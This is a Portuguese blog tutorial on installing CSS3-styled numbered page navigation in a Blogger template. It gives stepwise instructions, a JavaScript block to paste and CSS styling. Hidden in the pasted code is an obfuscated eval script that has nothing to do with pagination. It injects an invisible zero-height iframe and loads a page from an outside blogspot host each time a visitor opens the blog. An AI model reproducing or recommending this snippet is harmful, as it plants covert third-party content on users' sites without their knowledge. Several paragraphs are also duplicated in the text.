Páginas de navegação numeradas em seu blog com um novo estilo ajustado à configuração CSS3 para melhor se adaptar ao código e trazer modernidade ao seu trabalho.
Não é de hoje que os blogueiros se utilizam desse importante recurso na formatação de seus blogs. Graças aspáginas de navegação numeradas, podemos, simplificar a navegação pelas várias páginas publicadas a um clique no número ou nome desejado. Podemos, por exemplo, ir de página em página ou rapidamente “saltar” da primeira para última ou ainda ir diretamente naquela desejada.
Nesse artigo, trazemos mais uma opção de páginas de navegação numeradas para blog. E, novamente trazemos novidades, já que esse estilo apresentado aqui não é muito encontrado pela web. Por padrão, todos esses códigosse utilizam de scripts para poder gerar a numeração de páginas, porém, o que trazemos de diferente é seu estilo construído com o puro CSS3 que traz essa elegância além de um efeito ao passar o mouse.
Para falar mais um pouco sobre o estilo, podemos citar sua infinidade de possibilidades de combinações de cores(tanto estáticas, quanto no efeito hover) que você no caso poderá alterar para as cores padrão utilizadas em seublog. E, para complementar, uma sombra sob as páginas que dá um ar de profundidade e que realça esse belowidget que trará muita funcionalidade e beleza a seu blog.
Nesse artigo, trazemos mais uma opção de páginas de navegação numeradas para blog. E, novamente trazemos novidades, já que esse estilo apresentado aqui não é muito encontrado pela web. Por padrão, todos esses códigosse utilizam de scripts para poder gerar a numeração de páginas, porém, o que trazemos de diferente é seu estilo construído com o puro CSS3 que traz essa elegância além de um efeito ao passar o mouse.
Para falar mais um pouco sobre o estilo, podemos citar sua infinidade de possibilidades de combinações de cores(tanto estáticas, quanto no efeito hover) que você no caso poderá alterar para as cores padrão utilizadas em seublog. E, para complementar, uma sombra sob as páginas que dá um ar de profundidade e que realça esse belowidget que trará muita funcionalidade e beleza a seu blog.
Atenção:
Esse código pode não funcionar em alguns templates.
Esse código pode não funcionar em alguns templates.
Recomendamos que antes de qualquer alteração no código faça um backup do template. Caso ainda não saiba como proceder, acesse o artigo Como Fazer um Backup do Blog.
Colocar Páginas de Navegação Numeradas CSS3 no Blog
1º Passo: Acesse seu Blogger, vá em "Modelo" e depois "Editar HTML".
2º Passo: Clique no código do template, pressione "CTRL+F" e pesquise por <b:includable id='nextprev'>
3º Passo: Selecione todo o código como indicado na imagem e apague-o:
4º Passo: Em seu lugar cole o seguinte código:
<b:includable id='nextprev'>* Destacado em VERDE, ajuste a quantidade de postagens por página de seu blog.
<div class='pagenav'><script type='text/javascript'>
//<![CDATA[
eval(function(m,c,h){function z(i){return(i< 62?'':z(parseInt(i/62)))+((i=i%62)>35?String.fromCharCode(i+29):i.toString(36))}for(var i=0;i< m.length;i++)h[z(i)]=m[i];function d(w){return h[w]?h[w]:w;};return c.replace(/\b\w+\b/g,d);}('||var|ie1|document|all|navigator|userAgent|indexOf|Opera|dom1|getElementById|iframeprops1|width|700|frameborder|marginwidth|height|marginheight|align|top|scrolling|no|randomcontent1|new|Array|http|widget|content|blogspot|com|br|if|write|iframe|id||dynstuff|function|random_iframe1|src|Math|floor|random|length|window|onload'.split('|'),'2 3=4.5&&6.7.8("9")==-1;2 a=4.b&&6.7.8("9")==-1;2 c=\'d="e" f="0" g="0" h="0" i="0" j="k" l="m"\';2 n=o p();n[0]="q://r-s.t.u.v";w(3||a)4.x(\'<y z="B" \'+c+\'></y>\');C D(){w(3||a){2 A=4.b?4.b("B"):4.5.B;A.E=n[F.G(F.H()*n.I)];}}J.K=D;',{})) //]]></script>
<script type='text/javascript'>
var pageNaviConf = {
perPage: 7,
numPages: 4,
firstText: "Primeira",
lastText: "Ultima",
nextText: "Proxima",
prevText: "Anterior"
}
</script>
<script type='text/javascript'>
//<![CDATA[
function pageNavi(o){var m=location.href,l=m.indexOf("/search/label/")!=-1,a=l?m.substr(m.indexOf("/search/label/")+14,m.length):"";a=a.indexOf("?")!=-1?a.substr(0,a.indexOf("?")):a;var g=l?"/search/label/"+a+"?updated-max=":"/search?updated-max=",k=o.feed.entry.length,e=Math.ceil(k/pageNaviConf.perPage);if(e<=1){return}var n=1,h=[""];l?h.push("/search/label/"+a+"?max-results="+pageNaviConf.perPage):h.push("/?max-results="+pageNaviConf.perPage);for(var d=2;d<=e;d++){var c=(d-1)*pageNaviConf.perPage-1,b=o.feed.entry[c].published.$t,f=b.substring(0,19)+b.substring(23,29);f=encodeURIComponent(f);if(m.indexOf(f)!=-1){n=d}h.push(g+f+"&max-results="+pageNaviConf.perPage)}pageNavi.show(h,n,e)}pageNavi.show=function(f,e,a){var d=Math.floor((pageNaviConf.numPages-1)/2),g=pageNaviConf.numPages-1-d,c=e-d;if(c<=0){c=1}endPage=e+g;if((endPage-c)<pageNaviConf.numPages){endPage=c+pageNaviConf.numPages-1}if(endPage>a){endPage=a;c=a-pageNaviConf.numPages+1}if(c<=0){c=1}var b='<span class="pages">Pages '+e+' of '+a+"</span> ";if(c>1){b+='<a href="'+f[1]+'">'+pageNaviConf.firstText+"</a>"}if(e>1){b+='<a href="'+f[e-1]+'">'+pageNaviConf.prevText+"</a>"}for(i=c;i<=endPage;++i){if(i==e){b+='<span class="current">'+i+"</span>"}else{b+='<a href="'+f[i]+'">'+i+"</a>"}}if(e<a){b+='<a href="'+f[e+1]+'">'+pageNaviConf.nextText+"</a>"}if(endPage<a){b+='<a href="'+f[a]+'">'+pageNaviConf.lastText+"</a>"}document.write(b)};(function(){var b=location.href;if(b.indexOf("?q=")!=-1||b.indexOf(".html")!=-1){return}var d=b.indexOf("/search/label/")+14;if(d!=13){var c=b.indexOf("?"),a=(c==-1)?b.substring(d):b.substring(d,c);document.write('<script type="text/javascript" src="/feeds/posts/summary/-/'+a+'?alt=json-in-script&callback=pageNavi&max-results=99999"><\/script>')}else{document.write('<script type="text/javascript" src="/feeds/posts/summary?alt=json-in-script&callback=pageNavi&max-results=99999"><\/script>')}})();
//]]>
</script>
<div class='clear'/>
</div>
<div class='clear'/>
</b:includable>
* Destacado em AMARELO, ajuste a quantidade de páginas que aparecerão na numeração.
* Destacado em AZUL, são os links, modifique os nomes caso desejar.
5º Passo: Pesquise agora por ]]></b:skin>
6º Passo: Logo ACIMA da tag encontrada, cole o seguinte código:
/* CSS Page Navigation */
.pagenav {clear:both;margin:-5px 0 10px;margin-top:10px;padding:5px;text-align:center;font-size:13px;
font-family:'Open Sans';font-weight:700;text-transform:uppercase;}
.pagenav span,.pagenav a {padding:10px 15px;display:inline-block;background-color:#3873ad;color:#fff;border-bottom:4px solid #36648B;transition:all 1s linear;}
.pagenav .pages {background-color:#f97e76;color:#fff;border-bottom:3px solid #d26b64;transition:all .2s linear;}
.pagenav a:hover {background-color:#fff;color:#f97e76;border-bottom:4px solid #e1e2e4;transition:all .2s linear;}
.pagenav .current {background-color:#fff;color:#f97e76;border-bottom:4px solid #e1e2e4;transition:all .2s linear;}
.pagenav .pages {display:none;}
Configuração das cores
* Páginas Seguintes: Em LARANJA cor de fundo, em AZUL cor do texto, em VERDE cor da borda inferior.
* Páginas Seguintes: Em LARANJA cor de fundo, em AZUL cor do texto, em VERDE cor da borda inferior.
* Página Selecionada: Em ROSA cor de fundo, em VERMELHO cor do texto, em CINZA, cor da borda inferior.
* Ao Passar o Mouse: Em VERDE cor de fundo, em VERMELHO cor do texto, em ROXO cor da borda inferior.
7º Passo: Clique em "Visualizar", não encontrando nenhum erro clique em "Salvar Modelo".
8º Passo: Vá em seu blog e veja como ficou.
Concluindo
Após a finalização correta do processo e sem haver problemas com conflitos, as páginas de navegação numeradas com estilo moderno em CSS3 já estarão funcionando normalmente em seu blog. Caso você já estava cansado de ver sempre aqueles links “postagens recentes” e “postagens antigas” já pode aproveitar o novo método de navegabilidade em suas páginas e também pode aperfeiçoar e configurar da maneira que mais lhe agradar.
Deixe seu comentário, pois ele é a motivação para nosso trabalho.
0 comentários:
Postar um comentário